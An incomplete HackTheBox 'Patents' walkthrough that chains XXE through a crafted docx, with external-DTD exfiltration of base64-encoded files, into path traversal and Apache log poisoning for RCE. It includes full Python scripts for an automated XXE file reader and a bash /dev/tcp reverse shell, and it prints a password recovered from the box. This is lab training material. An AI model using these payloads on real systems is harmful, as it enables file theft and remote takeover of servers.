Home HackTheBox - Patents
Post
Cancel

HackTheBox - Patents

Patents was a good box. Not the best I did, but a good practice. It has a web page where you can upload a docx file. It’s being parsed, so you can get XEE with it and read files in the server. After geting a config file from the server, we find a webpage that is vulnerable to directory path-transversal. Using the directory-traversal we can use apache log poisoning to get a shell in the context of www-data.

The auto shell for the www-data user is in the body of the post.

This box is not completed. Return here later to finish the buffer overflow part.

Diagram

Not complete yet, I’ll return here latter and get it all.

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.173

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

In upload.html we see a place where we can upload .docx files

It’s always interesing look for upload places, because most time the vulnerability is in it’s kind of mechanims

We download a file-sample

And just upload it on the server, it makes the docx one pdf… Ok, file parsing

Gobuster

Let’s start crafting a little more on the box to see if we can enum more things do explore

1
gobuster dir -u http://10.10.10.173 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

We found a bunch of directories in it. Fine.

We run gobuster again on the release folder

1
gobuster dir -u http://10.10.10.173/release -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt

And found something interesting on this file

Seems that it’s performing entity parsing, which is very common in XEE attacks.

Possibly the injection point will be this docx file we can upload on the website.

What we will do?

First, we create an empty DOCX file with a custom XML part. Note that the XML must be valid. Inject XXE payload. Upload to test. Repeat step 2 for different payloads.

XEE Attack

Ok, let’s procced

We see the following line on the UpdateDetails

1
enabled entity parsing in custom folder

Seems that all files in custom folder is being parsed. But what is this custom folder? It refer to the customXml folder at the root of a .docx file’s structure once unzipped.

It’s not standard for docx files, we will need to at it manually

We see many ways to make it, for example this

I just added a folder called customXml with a file item1.xml in it

The item1.xml is a simple xxe payload

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY % ext SYSTEM "http://10.10.14.20/test">
  %ext;
]>
<xxe></xxe>

We zip it again

1
zip -r ../xxe.docx *

And we upload to the server with a python web server opened on port 80

And it reaches our box

File Read Via XEE

What I usually do when I’m exploring XEE is the hability to read files in this vuln. I tried many kind of simple payloads to get the files read on the server, but no one worked well

Se tudo der certo, o parser deve vir buscar na minha Kali o wrapper.dtd. Será criada a entitidade, o %start vai ser modificado com <![CDATA[]]>, o %file com o tomcat-users.xml e o %end com o >]], que fecha o CDATA.

If everything goes ok, the parser shold come to my Kali box and get the wrapper.dtd. Then it’ll create the entity

We create a wrapper file. Then the server could come to me and get this file, then process the request I got from the file.

wrapper.dtd

1
2
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % file "<!ENTITY exfil SYSTEM 'http://10.10.14.20/DATA?%data;'>">

file1.xml

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY % ext SYSTEM "http://10.10.14.20/wrapper.dtd">
  %ext;
  %file;
]>
<xxe>&exfil;</xxe>

We create the smallets file I could

And it worked as expected

Let’s automate the whole things now!

Auto XEE LFI

We will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto XEE LFI - Patents HackTheBox

import argparse
import requests
import sys
import os
import re
import base64
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Function to just prepare the folders docx
def prepareDoc(lhost):
    print("[+] Let's prepare the folders to be ziped ! [+]")
    os.system("mkdir Doc")
    os.system("mkdir Doc/customXml")
    os.system("mkdir Doc/word")
    # Create the files and the item1.xml
    document = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14 wp14"><w:body><w:p><w:pPr><w:pStyle w:val="Normal"/><w:bidi w:val="0"/><w:jc w:val="left"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr><w:t xml:space="preserve"> </w:t></w:r></w:p><w:sectPr><w:type w:val="nextPage"/><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:left="1134" w:right="1134" w:header="0" w:top="1134" w:footer="0" w:bottom="1134" w:gutter="0"/><w:pgNumType w:fmt="decimal"/><w:formProt w:val="false"/><w:textDirection w:val="lrTb"/></w:sectPr></w:body></w:document>'''
    f = open("Doc/word/document.xml", "w")
    f.write(document)
    f.close()
    # item1.xml
    payload = '<?xml version="1.0" ?>\n'
    payload += '<!DOCTYPE xxe [\n'
    payload += '<!ENTITY % ext SYSTEM "http://' + lhost + '/wrapper.dtd">\n'
    payload += '  %ext;\n'
    payload += '  %file;\n'
    payload += ']>\n'
    payload += '<xxe>&exfil;</xxe>' 
    f = open("Doc/customXml/item1.xml", "w")
    f.write(payload)
    f.close()
    print("[+] Folders structude done ! [+]")
    os.system("cd Doc; zip -r ../xee.docx *")
    print("[+] XEE.DOCX CREATED !! [+]")

# Create the wrapper which will iterate trought the file name
def createWrapper(lhost,file):
    payload = '''<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=''' + file + '">\n'
    payload += '''<!ENTITY % file "<!ENTITY exfil SYSTEM 'http://''' + lhost + ''':9999/%data;'>">'''
    f = open("wrapper.dtd", "w")
    f.write(payload)
    f.close()

# Function to upload the zip file
def uploadZip(rhost):
    url = "http://%s:80/convert.php" %rhost
    multipart_data = {
        'userfile': ('xee.doc', open('xee.docx', 'rb'), "application/vnd.openxmlformats-officedocument.wordprocessingml.document"),
        'submit' : (None,"Generate pdf")
    }
    upload = r.post(url, files=multipart_data, proxies=proxies)

# Just b64 decode
def b64d(s):
    return base64.b64decode(s).decode()

# Function to just read the get.txt file and convert it
def readFile():
    f = open('get.txt','r')
    output= f.read()
    if len(output) < 5:
        print("[+] File does not exist or I can't read it!! ")
    else:
        b64encoded = re.search(' .* ', output).group(0)
        b64encoded = b64encoded.removeprefix(" /")
        print()
        print(b64d(b64encoded))

# Function to read the xee
def xeeLFI(lhost,rhost):
    prepareDoc(lhost)
    prefix = "Reading file: "
    file = ""
    while True:
        file = input(prefix)
        if file != "exit":
            createWrapper(lhost,file)
            os.system('nc -q 3 -lnvp 9999 > get.txt 2>/dev/null &')
            os.system("sleep 2")
            uploadZip(rhost)
            os.system("sleep 2")
            readFile()
        else:
            print("[+] Exitttttting..... !!!! [+]")
            break

# Let's clean the files created
def cleanMess():
    os.system("rm -r Doc")
    os.system("rm get.txt")
    os.system("rm xee.docx")
    os.system("rm wrapper.dtd")

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local IP Address', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip

    '''Here we call the functions'''
    # Set up the web python server
    webServer()
    # Loop files
    xeeLFI(lhost,rhost)
    # Clean the files
    cleanMess()

if __name__ == '__main__':
    main()

Let’ss procced our enumeration.

We found a config.php file, which gobuster gave me the hint before. Is always good to look at config files

Sounds good!

Accessing it we see:

So, let’s try it out

Path Trasversal - Poison - RCE

When I saw this kind of stuff, the first thing comes to my mind is Path Transversal, I tested some standard payloads, but nothing returned

I found this article which use Mangle Paterns to bypass Path Trasnversal Filtering

And it worked!

Ok. After researching a while we found a way to make a log poison on the apache log file /var/log/apache2/access.log

And it includes the USER-AGENT of the request. So we can poison it with a simple PHP RCE

1
User-Agent: <?php system($_REQUEST['cmd']); ?>

And we have RCE!

And we have reverse shell!

And now, let’s automate it!

Here it is

www-data_rev.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/python3
# Author: 0x4rt3mis
# www-data Auto Reverse Shell - Patents - HackTheBox

import argparse
import requests
import sys
import base64
import urllib.parse
import socket, telnetlib
from threading import Thread

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Function to poison the apache log
def poisonLOG(rhost):
    print("[+] Let's Poison the LOG !!! [+]")
    url = "http://%s:80/convert.php" %rhost
    headers = {"User-Agent": "<?php system($_REQUEST['cmd']); ?>", "Content-Type": "multipart/form-data; boundary=aaa"}
    data = "--aaa\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"xee.doc\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document\r\n\r\nPK\x03\x04\r\n\r\n--aaa\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nGenerate pdf\r\n--dc7b6d9099c45960b210c01f3b72bebb--\r\n"
    r.post(url, headers=headers, data=data, proxies=proxies)
    print("[+] LOG Poisoned !!! [+]")
    
def getReverse(rhost,lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    url = "http://%s:80/getPatent_alphav1.0.php?id=....//....//....//....//....//var/log/apache2/access.log&" %rhost
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)
    
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--lhost', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--lport', help='Local port', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.lhost
    lport = args.lport

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Poison the log
    poisonLOG(rhost)
    # Get the rev shell
    getReverse(rhost,lhost,lport)

if __name__ == '__main__':
    main()

Let’s continue

www-data –> root container

We download pspy to it

We run it

And one password come to us

!gby0l0r0ck$$!

root container –> root box

After some enum, we found a .git folder

1
find / -name .git 2>/dev/null

We get the git folder in our kali box

In this git folder there is a binary. I’ll not explain how to explore it because of the lack time I have to solve this box. In the future I’ll return here and do it better.

Source Code Analysis

We transfer the source code of the web app to our box, to better analyse it

This is the getPatent_alphav1.0.php file

We can see where the filter of the path transversal is being applied!

This is the convert.php file

Here we see where probably the problem is occurring

1
2
3
try {
    $document = new Gears\Pdf($uploadfile);
    $document->save($pdfOut);

We see it load some modules on the top of the file

1
2
3
4
require __DIR__ . '/vendor/autoload.php';
use Gears; 
include('config.php');
$uploaddir = 'uploads/';

We get the gears folder on /vendor, possibly where it’s being renderized. I did not find properly on the code where it’s being parsed.

This post is licensed under CC BY 4.0 by the author.